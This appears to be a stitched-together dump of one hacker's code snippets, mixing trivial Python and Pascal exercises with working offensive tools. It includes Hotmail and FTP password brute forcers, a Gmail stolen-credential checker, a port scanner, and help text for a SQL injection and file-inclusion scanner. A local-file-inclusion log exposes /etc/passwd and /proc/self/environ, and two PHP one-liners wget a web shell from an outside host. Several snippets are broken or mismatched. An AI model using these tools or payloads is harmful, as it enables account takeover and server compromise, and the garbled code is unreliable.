#!/usr/bin/python
import sys

try:
	inputme = int(raw_input("[-] Enter ur 4-digit PIN : "))
except ValueError:
	print "[!] hey input numeric only asshole...."
	sys.exit(1)

filteredinput = str(inputme)
	
if len(filteredinput) != 4:
	print "[!] hey input 4 numeric asshole...."
	sys.exit(1)
	
"""Now inputme length is 4 and it's clean from str"""
print "[-] You has inputted %s" % inputme

#!/usr/bin/python
import os
print '[-] Verifying password...'
time.sleep(5)
if password == verified:
	print '[+] Password Verified'
else
	print '[+] Password Unverified'

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Hotmail brute forcer
# programmer : gunslinger_
# Inspired by mywisdom
# This program is only for educational purposes only.

import sys, poplib, time

__Author__ = "Gunslinger_"
__Version__  = "1.0"
__Date__   = "Mon, 22 Feb 2010 13:13:43 +0700 "
log = "hotmailbrute.log"
file = open(log, "a")
counter = 0
face = '''
 _           _                   _ _   _      __
| |__   ___ | |_ _ __ ___   __ _(_) | | |__  / _|
| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
| | | | (_) | |_| | | | | | (_| | | | | |_) |  _|
|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|

 Hotmail brute forcer
 programmer   : %s
 version      : %s
 date release : %s
 ''' % (__Author__, __Version__, __Date__)

help = '''
Usage : ./hotmailbf.py -u [email] -w [wordlist]
Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
'''

for arg in sys.argv:
 if arg.lower() == '-u' or arg.lower() == '--user':
 email = sys.argv[int(sys.argv.index(arg))+1]
 elif arg.lower() == '-w' or arg.lower() == '--wordlist':
 wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
 elif arg.lower() == '-h' or arg.lower() == '--help':
 print face
 print help
 file.write(face)
 file.write(help)

#Change these if needed.
HOST = 'pop3.live.com'
PORT = 995

try:
 preventstrokes = open(wordlist, "r")
 words            = preventstrokes.readlines()
 count          = 0
 while count < len(words):
 words[count] = words[count].strip()
 count += 1
except(IOError):
 print "\n[-] Error: Check your wordlist path\n"
 file.write("\n[-] Error: Check your wordlist path\n")
 sys.exit(1)
def definer():
 print "-" * 60
 print "[+] Email         : %s" % email
 print "[+] Wordlist         : %s" % wordlist
 print "[+] Length wordlist     : %s " % len(words)
 print "[+] Time Starting     : %s" % time.strftime("%X")
 print "-" * 60
 file.write ("\n[+] Email : %s" % email)
 file.write ("\n[+] Wordlist : %s" % wordlist)
 file.write ("\n[+] length wordlist : %s " % len(words))
 file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))

def main(password):
 global counter
 sys.stdout.write ("[-] Trying : %s \n" % (password))
 sys.stdout.flush()
 file.write("[-] Trying : %s \n" % (str(password)))
 try:
 pop = poplib.POP3_SSL(HOST, PORT)
 pop.user(email)
 pop.pass_(password)
 pop.quit()
 print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
 file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
 sys.exit(1)
 except Exception, e:
 pass
 except KeyboardInterrupt:
 print "\n[-] Aborting...\n"
 file.write("\n[-] Aborting...\n")
 sys.exit(1)
 counter+=1
 if counter == len(words)/5:
 print "[+] Hotmailbruteforcer 20% way done..."
 print "[+] Please be patient..."
 file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
 file.write("[+] Please be patient...\n")
 elif counter == len(words)/4:
 print "[+] Hotmailbruteforcer 25% way done..."
 print "[+] Please be patient..."
 file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
 file.write("[+] Please be patient...\n")
 elif counter == len(words)/2:
 print "[+] Hotmailbruteforcer on 50% done..."
 print "[+] Please be patient..."
 file.write("[+] hotmailbruteforcer on halfway done...\n")
 file.write("[+] Please be patient...\n")
 elif counter == len(words):
 print "[+] Hotmailbruteforcer done...\n"
 file.write("[+] Hotmailbruteforcer done...!\n")

if __name__ == '__main__':
 print face
 file.write(face)
 definer()
 for password in words:
 main(password.replace("\n",""))
 main(password)

gunslinger@localhost:~/project/hotmail$ ./hotmailbf.py -u **CENSORED**@hotmail.com -w wordlist.txt 
 
 _           _                   _ _   _      __ 
| |__   ___ | |_ _ __ ___   __ _(_) | | |__  / _| 
| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_ 
| | | | (_) | |_| | | | | | (_| | | | | |_) |  _| 
|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_| 
 
			Hotmail brute forcer 
			programmer : Gunslinger_ 
 
------------------------------------------------------------ 
[+] Email 		: **CENSORED**@hotmail.com 
[+] Wordlist 		: wordlist.txt 
[+] Length wordlist 	: 7 
[+] Time Starting 	: 13:02:32 
------------------------------------------------------------ 
[-] Trying : dsnadsa 
[+] Hotmailbruteforcer 20% way done... 
[+] Please be patient... 
[-] Trying : dsadsa 
[-] Trying : fdsafds 
[+] Hotmailbruteforcer on 50% done... 
[+] Please be patient... 
[-] Trying : dsadsaf 
[-] Trying : fasfsa 
[-] Trying : dsadsad 
[-] Trying : **CENSORED** 
[+] W00t w00t !!! 
[+] Username : [**CENSORED**@hotmail.com] 
[+] Password : [**CENSORED**] 
[+] Status : Valid! 
gunslinger@localhost:~/project/hotmail$ 

#!/usr/bin/python
import os.path
if os.path.isfile("filename"):
	print "Your file is exist !"
else:
	print "Your file is not exist !"

>>> li = ['a', 'b', 'e']
>>> for s in li:
...     print s
a
b
e
>>> print "\n".join(li)
a
b
e

>>> for i in range(5):
...     print i
0
1
2
3
4

>>> li = ['a', 'b', 'c', 'd', 'e']
>>> for i in range(len(li)):
...     print li[i]
a
b
c
d
e

Toolname     : darkjumper.py v5.3
Developed by : mywisdom & gunslinger_ <devilzc0de.com c0der>
Released on  : 15 ,February 2010
Download url : https://sourceforge.net/projects/darkjumper/

Function(s)
1. User enumeration(s) guessing based on 4-8 chars trial taken from every site name that host at the same server
2. Scan for sql injection,local file inclusion,remote file inclusion and blind sql injection on every site(s) at the same server
3. CGI and Path(s) Scanning
4. Portscanning
5. Autobruteforcing after user enumeration
6. Autoinjector - autocolumnfinder (mysql) if found mysql bug if found
7. Proxy added
8. Verbocity added
9. IP or proxy checker and GeoIP usefull for checking your IP or your proxy work or not

Additional feature: more fake http user agent(s)

Requirement(s): - python : 2.5.x
		- perl

./clearlog.py

./darkjumper.py -h

./darkjumper.py --help

in this version, we have 6 mode. there is :
reverseonly				| Only reverse target no checking bug
surface					| Checking for sqli and blind sqli on every web that host at the same target server
full					| Checking for sqli,blind,rfi,lfi on every web that host at the same target server
cgidirs					| Scanning cgidirs on the target server
enum [number] 				| Guessing possible user enumeration on server (4-8 chars user enumeration)
portscan [startport]-[endport]		| Scanning open port on server target

./darkjumper.py -t [target] -m reverseonly

./darkjumper.py -t [target] -m surface

./darkjumper.py -t [target] -m full

./darkjumper.py -t [target] -m cgidirs

./darkjumper.py -t [target] -m enum [number]

./darkjumper.py -t [target] -m enum 4

./darkjumper.py -t [target] -m enum [number] -a 

./darkjumper.py -t [target] -m portscan [startport]-[endport]

./darkjumper.py -t localhost -m portscan 15-22

./darkjumper.py -t localhost -m portscan 15-22 -v

./darkjumper.py -p [proxyaddress:port]

./darkjumper.py -c 

################################################################
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################
Darkjumper.py version 5.0 help module
Developed by : mywisdom  & gunslinger_
This tool will try to find every website that host at the same server at your target
Then check for every vulnerability of each website that host at the same server
Vulnerable check including: sqli,blind,lfi and rfi
-----------------------------------------------------------------------------------

Usage : ./darkjumper.py -t [target] -m [option]
	Available option :
		reverseonly
		surface
		full
		cgidirs
		enum [number] 
		     [number] is 4, 5, 6, 7, 8 in range
		portscan [startport]-[endport]

Description:
- reverseonly
	Only reverse target no checking bug
- surface
	Reverse target, then checking for sqli and blind sqli on every web that host at the same server
- full
	Reverse target, then checking for sqli,blind,rfi,lfi on every web that host at the same server
	[this mode requires longer time,I dont suggest this mode for slow internet connection]
- enum
	Guessing possible user enumeration on server (4-8 chars user enumeration)
	If you don't set number this will guesssing default to 8 chars
	[this mode requires number 4 until 8 for guessing users]
- portscan
	Scanning open port on server
- cgidirs
	Scanning cgidirs on the server
----------------------
Sample Usage:
----------------------
Reverseonly mode :
	Example : ./darkjumper.py -t www.jasakom.com -m reverseonly
Surface scanning mode :
	Example : ./darkjumper.py -t www.jasakom.com -m surface
Full scanning mode:
	Example : ./darkjumper.py -t www.jasakom.com -m full
User enumeration mode :
	Example : ./darkjumper.py -t www.jasakom.com -m enum 8
		Warning ! you must set the number of chars for user enumeration
		If you want to set number of chars for user guessing,it should be 4 until 8 ! don't less or greater 
CGI directory scanning mode :
	Example : ./darkjumper.py -t www.jasakom.com -m cgidirs
Port scanning mode:
	Example : ./darkjumper.py -t www.jasakom.com -m portscan 0-80
----------------------------------------------------------
gunslinger@localhost:~/darkjumper$ 

#!/usr/bin/python
# -*- coding: utf-8 -*-
# gunslinger_ 08 feb 2010
# this code is protected under the gpl
# get your copy at <http://www.gnu.org/licenses/>

import os, time, random, sys

class message(str):
    def __new__(cls, text, speed):
        self = super(message, cls).__new__(cls, text)
        self.speed = speed
        self.y = -1*len(text)
        self.x = random.randint(0, display().width)
        self.skip = 0
        return self

    def move(self):
        if self.speed > self.skip:
            self.skip += 1
        else:
            self.skip = 0
            self.y += 1

class display(list):
    def __init__(self):
        self.height, self.width = [int(x) for x in os.popen('stty size', 'r').read().split()]
        self[:] = [' ' for y in xrange(self.height) for x in xrange(self.width)]

    def set_vertical(self, x, y, string):
        string = string[::-1]
        if x < 0:
            x = 80 + x
        if x >= self.width:
            x = self.width-1
        if y < 0:
            string = string[abs(y):]
            y = 0
        if y + len(string) > self.height:
            string = string[0:self.height - y]
        if y >= self.height:
            return
        start = y*self.width+x
        length = self.width*(y+len(string))
        step = self.width

        self[start:length:step] = string

    def __str__(self):
        return ''.join(self)

i_message = raw_input("Input a message: ")
messages = [message(i_message, random.randint(1, 5))]
for t in xrange(1000000):
    messages.append(message(i_message[::-1], random.randint(1, 5)))
    d = display()
    for text in messages:
        d.set_vertical(text.x, text.y, text)
        text.move()
    sys.stdout.write(str(d))
    sys.stdout.flush()
    del d
    time.sleep(0.1)

#!/usr/bin/python
string = "xirtam"
reverse_string = string[::-1]
print reverse_string

>> matrix

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Gmail Account Checker 
# programmer : gunslinger_ 
# This program is only for educational purposes only. 
 
import sys, poplib 

face = '''                                                 
                                        _/  _/   
     _/_/_/  _/_/_/  _/_/      _/_/_/      _/    
  _/    _/  _/    _/    _/  _/    _/  _/  _/     
 _/    _/  _/    _/    _/  _/    _/  _/  _/      
  _/_/_/  _/    _/    _/    _/_/_/  _/  _/       
     _/                                          
_/_/                        Account checker 
			    Gunslinger_'''

help = '''
Usage: ./gmailchecker.py [gmaillist]
Ex : ./gmailchecker.py gmaillist.txt
\n* Account must be in the following format ~> username@gmail.com:password
'''

if len(sys.argv) != 2: 
    print (face)
    print (help) 
    exit(1) 

#Change these if needed. 
LOG = 'valid_gmail.txt' 
HOST = 'pop.gmail.com' 
PORT = 995 
# Do not change anything below. 
maillist = sys.argv[1] 
valid = [] 
strline = 0  
 
try: 
    handle = open(maillist) 
except: 
    print '\n[-] Could not open the accounts file. Check the file path and try again.' 
    print '\n[-] Quitting ...' 
    exit(1) 
 
for line in handle: 
    strline += 1 
 
    try: 
        email = line.split(':')[0] 
        password = line.split(':')[1].replace('\n', '') 
    except: 
        print '\n[-] Erroneous account format at line %d.' % strline 
        print '[!] Accounts must be in the following format : username@gmail.com:password' 
        print '\n[-] Quitting ...' 
        exit(1) 
 
    try: 
        pop = poplib.POP3_SSL(HOST, PORT) 
        pop.user(email) 
        pop.pass_(password) 
        valid.append(email + ':' + password) 
        print '[+] Checking ~> username : [%s] password : [%s] status : Valid!' % (email, password) 
        pop.quit() 
    except: 
        print '[+] Checking ~> username : [%s] password : [%s] status : invalid!' % (email, password) 
        pass 
 
handle.close() 
print '\n[+] Total Valid: %s' % len(valid) 
 
if len(valid) > 0: 
    save = open(LOG, 'a') 
 
    for email in valid: 
        save.write(email + '\n') 
 
    save.close() 
    print '[+] The valid accounts are saved in "%s".' % LOG  
    print '[+] Done.\n'

#!/usr/bin/python
# -*- coding: utf-8 -*-
# -*- port scanner by gunslinger_ feb 9 2010
# -*- usage : ./portscanner -t [targethost] -s [startport] -e [endport]
 
import sys
from socket import *

asciitext = '''
                   _                                          
                  | |                                         
  _ __   ___  _ __| |_   ___  ___  __ _ _ __  _ __   ___ _ __ 
 | '_ \ / _ \| '__| __| / __|/ __|/ _` | '_ \| '_ \ / _ \ '__|
 | |_) | (_) | |  | |_  \__ \ (__| (_| | | | | | | |  __/ |   
 | .__/ \___/|_|   \__| |___/\___|\__,_|_| |_|_| |_|\___|_|   
 | |                                                          
 |_|                                               by gunslinger_  '''

option = '''
Usage: ./portscanner.py [options]
Options: -t, --target    <hostname/ip>   |   Target to bruteforcing
         -s, --start     <portstart>     |   Number start port scanning
         -e, --end       <portend>       |   Number end port scanning
         -h, --help      <help>          |   print this help

Example: ./portscanner.py -t 192.168.1.1 -s 0 -e 8000

'''

for arg in sys.argv:
	if arg.lower() == '-t' or arg.lower() == '--target':
           hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-s' or arg.lower() == '--start':
           startport = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-e' or arg.lower() == '--end':
	   endport = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-h' or arg.lower() == '--help':
	  print (asciitext)
	  print (option)
	  sys.exit
	elif len(sys.argv) <= 1 or 2 or 3 or 4 or 5 or 6:
	  print (asciitext)
	  print (option)
	  sys.exit()
 
for port in range(int(startport), int(endport)):
    try:
      socket(AF_INET, SOCK_STREAM).connect((hostname, port)); 
      print "[+] port is open ::", port
    except: 
      pass

                   _
                  | |
  _ __   ___  _ __| |_   ___  ___  __ _ _ __  _ __   ___ _ __
 | '_ \ / _ \| '__| __| / __|/ __|/ _` | '_ \| '_ \ / _ \ '__|
 | |_) | (_) | |  | |_  \__ \ (__| (_| | | | | | | |  __/ |
 | .__/ \___/|_|   \__| |___/\___|\__,_|_| |_|_| |_|\___|_|
 | |
 |_|                                               by gunslinger_

Usage: ./portscanner.py [options]
Options: -t, --target    <hostname/ip>   |   Target to bruteforcing
         -s, --start     <portstart>     |   Number start port scanning
         -e, --end       <portend>       |   Number end port scanning
         -h, --help      <help>          |   print this help

Example: ./portscanner.py -t 192.168.1.1 -s 0 -e 8000

gunslinger@localhost:~/python/python_documenter$

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
#  Script for getting Google Page Rank of page
#  Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm
#
#  by gunslinger_ - 2010




import urllib, sys, time


def get_pagerank(url):
    hsh = cek_hash(hash_url(url))
    gurl = 'http://www.google.com/search?client=navclient-auto&features=Rank:&q=info:%s&ch=%s' % (urllib.quote(url), hsh)
    try:
        f = urllib.urlopen(gurl)
        rank = f.read().strip()[9:]
    except Exception:
        rank = 'N/A'
    if rank == '':
        rank = '0'
    return rank
    
    
def  int_str(string, integer, faktor):
    for i in range(len(string)) :
        integer *= faktor
        integer &= 0xFFFFFFFF
        integer += ord(string[i])
    return integer


def hash_url(string):
    c1 = int_str(string, 0x1505, 0x21)
    c2 = int_str(string, 0, 0x1003F)

    c1 >>= 2
    c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F)
    c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF)
    c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF)

    t1 = (c1 & 0x3C0) << 4
    t1 |= c1 & 0x3C
    t1 = (t1 << 2) | (c2 & 0xF0F)

    t2 = (c1 & 0xFFFFC000) << 4
    t2 |= c1 & 0x3C00
    t2 = (t2 << 0xA) | (c2 & 0xF0F0000)

    return (t1 | t2)


def cek_hash(hash_int):
    hash_str = '%u' % (hash_int)
    bendera = 0
    cek_byte = 0

    i = len(hash_str) - 1
    while i >= 0:
        byte = int(hash_str[i])
        if 1 == (bendera % 2):
            byte *= 2;
            byte = byte / 10 + byte % 10
        cek_byte += byte
        bendera += 1
        i -= 1

    cek_byte %= 10
    if 0 != cek_byte:
        cek_byte = 10 - cek_byte
        if 1 == bendera % 2:
            if 1 == cek_byte % 2:
                cek_byte += 9
            cek_byte >>= 1

    return '7' + str(cek_byte) + hash_str



if __name__ == '__main__':
    print '''                                                     __               __                  __                 
.-----..---.-..-----..-----.    .----..---.-..-----.|  |--.    .----.|  |--..-----..----.|  |--..-----..----.
|  _  ||  _  ||  _  ||  -__|    |   _||  _  ||     ||    <     |  __||     ||  -__||  __||    < |  -__||   _|
|   __||___._||___  ||_____|    |__|  |___._||__|__||__|__|    |____||__|__||_____||____||__|__||_____||__|  
|__|          |_____|                                                                        by gunslinger_                
'''
    host = raw_input("Please input site you want to check : ")
#    print int(get_pagerank(host))  
    for x in range(int(get_pagerank(host))):
      x += 1
      time.sleep(1)
      sys.stdout.write("\rCalculating score --> %d" % x)
      sys.stdout.flush()
    else:
      sys.stdout.write("\n%s score is %d\n" % (host,x))

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# ascii command-line progress bar with percentage and elapsed time display
#
# adapted from Pylot source code (original by Vasil Vangelovski)
# modified and adapted by yudha gunslinger_ - 2010

import sys,time

class ProgressBar:
 def __init__(self, duration):
 self.duration = duration
 self.prog_bar = '[]'
 self.fill_char = '#'
 self.width = 100
 self.__update_amount(0)

 def __update_amount(self, new_amount):
 percent_done = int(round((new_amount / 100.0) * 100.0))
 all_full = self.width - 2
 num_hashes = int(round((percent_done / 100.0) * all_full))
 self.prog_bar = '[' + self.fill_char * num_hashes + ' ' * (all_full - num_hashes) + ']'
 pct_place = (len(self.prog_bar) / 2) - len(str(percent_done))
 pct_string = '%i%%' % percent_done
 self.prog_bar = self.prog_bar[0:pct_place] + \
 (pct_string + self.prog_bar[pct_place + len(pct_string):])

 def update_time(self, elapsed_secs):
 self.__update_amount((elapsed_secs / float(self.duration)) * 100.0)
 self.prog_bar += '  %ds/%ss' % (elapsed_secs, self.duration)

 def __str__(self):
 return str(self.prog_bar)

if __name__ == '__main__':
 for a in range (61):
 p = ProgressBar(60) # per 1 minute
 p.update_time(a)
 sys.stdout.write ("\r%s" % p)
 sys.stdout.flush()
 time.sleep(1)
 a += 1
 else:
 print "\n"
 print " That's all, folks !"
 print " Enjoy :)"

#    p.fill_char = '='
#    p.update_time(30) # 1/2 minute
#    print p

#    p.fill_char = '~'
#    p.update_time(60) # 1 minute
#    print p

program ular_berjalan;
uses crt;
var
x : byte;
 begin
 clrscr;
 while x<100 do
 begin
 gotoxy(1+x,10);
 write(' ');
 write('0oSnAkEo0`o`');
 delay(10);
 x:=x+1;
 end;
end.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin

DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80

<?system('wget http://r57.gen.tr/c100.txt -O shell.php');?>

<?exec('wget http://r57.gen.tr/c100.txt -O shell.php');?>

program ular_berjalan;
uses crt;
var
x : byte;
 begin
 clrscr;
 while x<100 do
 begin
 gotoxy(1+x,10);
 write(' ');
 write('0oSnAkEo0`o`');
 delay(1000);
 x:=x+1;
 end;
end.

 program matriks;
uses crt;
var
 elemen : array [1..5,1..6] of byte;
 x,y : byte;
begin
 clrscr;
 elemen [1,1] :=5;
 elemen [1,2] :=3;
 elemen [1,3] :=6;
 elemen [2,1] :=7;
 elemen [2,2] :=1;
 elemen [2,3] :=8;
 elemen [3,1] :=9;
 elemen [3,2] :=5;
 elemen [3,3] :=7;
 for x :=1 to 3 do;
 begin
 for y :=1 to 3 do;
 begin
 write (elemen [x,y]);
 end;
 writeln;
end;
end.
 

Program simple_sort;
Uses crt;
Var
 Data : array [1..5] of byte;
 X,y,z : byte;
Begin
 Data [1] := 5;
 Data [2] := 4;
 Data [3] := 3;
For x:= 1 to 5 do write (data [x]);
For x:= 1 to 5 do;
 Begin
 For z:= x + 1 to 5 do
 If data [x] > data [z] then
 Y:= data [x];
 Data [x] := data [z];
 Data [z] := y;
 End;
End.

#!/usr/bin/python
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
################################################################
# This is ftp brute force tools [Updated].
# This was written for educational purpose and pentest only. Use it at your own risk.
# Update : More efficient
#	 : prevent loss added
#	 : Anonymous checker added
# VISIT : http://www.devilzc0de.com
# CODING BY : gunslinger_
# EMAIL : gunslinger.devilzc0de@gmail.com
# TOOL NAME : ftpbrute.py v1.5
# Big thanks darkc0de member : d3hydr8, Kopele, icedzomby, VMw4r3 and all member
# Special thanks to devilzc0de crew : mywisdom, petimati, peneter, flyff666, rotlez, 7460, xtr0nic, devil_nongkrong, cruzen and all devilzc0de family
# Greetz : all member of jasakom.com, jatimcrew.com
# Special i made for jasakom member and devilzc0de family
# Please remember... your action will be logged in target system...
# Author will not be responsible for any damage !!
# Use it with your own risk

import sys
import time
import os
from ftplib import FTP

if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
	SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
	SysCls = 'cls'
else:
	SysCls = 'unknown'

log = "ftpbrute.log"

face = 	'''
           .___             .__ .__                  _______       .___
         __| _/ ____ ___  __|__||  |  ________  ____ \   _  \    __| _/ ____     ____ _______   ____ __  _  __
        / __ |_/ __ \\\  \/ /|  ||  |  \___   /_/ ___\/  /_\  \  / __ |_/ __ \  _/ ___\\\_  __ \_/ __ \\\ \/ \/ /
       / /_/ |\  ___/ \   / |  ||  |__ /    / \  \___\  \_/   \/ /_/ |\  ___/  \  \___ |  | \/\  ___/ \     /
       \____ | \___  > \_/  |__||____//_____ \ \___  >\_____  /\____ | \___  >  \___  >|__|    \___  > \/\_/
            \/     \/                       \/     \/       \/      \/     \/       \/             \/
												http://www.devilzc0de.com
												by : gunslinger_
ftpbrute.py version 1.0
Brute forcing ftp target
Programmmer : gunslinger_
gunslinger[at]devilzc0de[dot]com
_____________________________________________________________________________________________________________________________________________
'''

option = '''
Usage: ./ftpbrute.py [options]
Options: -t, --target    <hostname/ip>   |   Target to bruteforcing
         -u, --user      <user>          |   User for bruteforcing
         -w, --wordlist  <filename>      |   Wordlist used for bruteforcing
         -h, --help      <help>          |   print this help

Example: ./ftpbrute.py -t 192.168.1.1 -u root -w wordlist.txt

'''

file = open(log, "a")

def MyFace() :
	os.system(SysCls)
	print face
	file.write(face)

def HelpMe() :
	MyFace()
	print option
	file.write(option)
	sys.exit(1)

for arg in sys.argv:
	if arg.lower() == '-t' or arg.lower() == '--target':
            hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-u' or arg.lower() == '--user':
            user = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-w' or arg.lower() == '--wordlist':
            wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-h' or arg.lower() == '--help':
        	HelpMe()
	elif len(sys.argv) <= 1:
		HelpMe()

def checkanony() :
	try:
		print "\n[+] Checking for anonymous login\n"
		ftp = FTP(hostname)
		ftp.login()
		ftp.retrlines('LIST')
		print "\n[!] Anonymous login successfuly !\n"
		ftp.quit()
	except Exception, e:
        	print "\n[-] Anonymous login unsuccessful...\n"
		pass

def BruteForce(word) :
	print "[?]Trying :",word
	file.write("\n[?]Trying :"+word)
     	try:
		ftp = FTP(hostname)
		ftp.login(user, word)
		ftp.retrlines('list')
		ftp.quit()
		print "\n\t[!] Login Success ! "
		print "\t[!] Username : ",user, ""
		print "\t[!] Password : ",word, ""
		print "\t[!] Hostname : ",hostname, ""
		print "\t[!] Log all has been saved to",log,"\n"
		file.write("\n\n\t[!] Login Success ! ")
		file.write("\n\t[!] Username : "+user )
		file.write("\n\t[!] Password : "+word )
		file.write("\n\t[!] Hostname : "+hostname)
		file.write("\n\t[!] Log all has been saved to "+log)
		sys.exit(1)
   	except Exception, e:
        	#print "[-] Failed"
		pass
	except KeyboardInterrupt:
		print "\n[-] Aborting...\n"
		file.write("\n[-] Aborting...\n")
		sys.exit(1)

MyFace()
print "[!] Starting attack at %s" % time.strftime("%X")
print "[!] System Activated for brute forcing..."
print "[!] Please wait until brute forcing finish !\n"
file.write("\n[!] Starting attack at %s" % time.strftime("%X"))
file.write("\n[!] System Activated for brute forcing...")
file.write("\n[!] Please wait until brute forcing finish !\n")
checkanony()

try:
	preventstrokes = open(wordlist, "r")
	words 	       = preventstrokes.readlines()
	count          = 0
	while count < len(words):
		words[count] = words[count].strip()
		count += 1
except(IOError):
  	print "\n[-] Error: Check your wordlist path\n"
	file.write("\n[-] Error: Check your wordlist path\n")
  	sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] Server:",hostname
print "[+] User:",user
print "[+] BruteForcing...\n"
for word in words:
	BruteForce(word.replace("\n",""))

file.close()

week_days = ( "senin", "selasa", "rabu", "kamis", "jumat", "sabtu", "minggu");
Arah = ( "Utara", "Timur", "Barat", "Selatan");

#include <stdio.h>
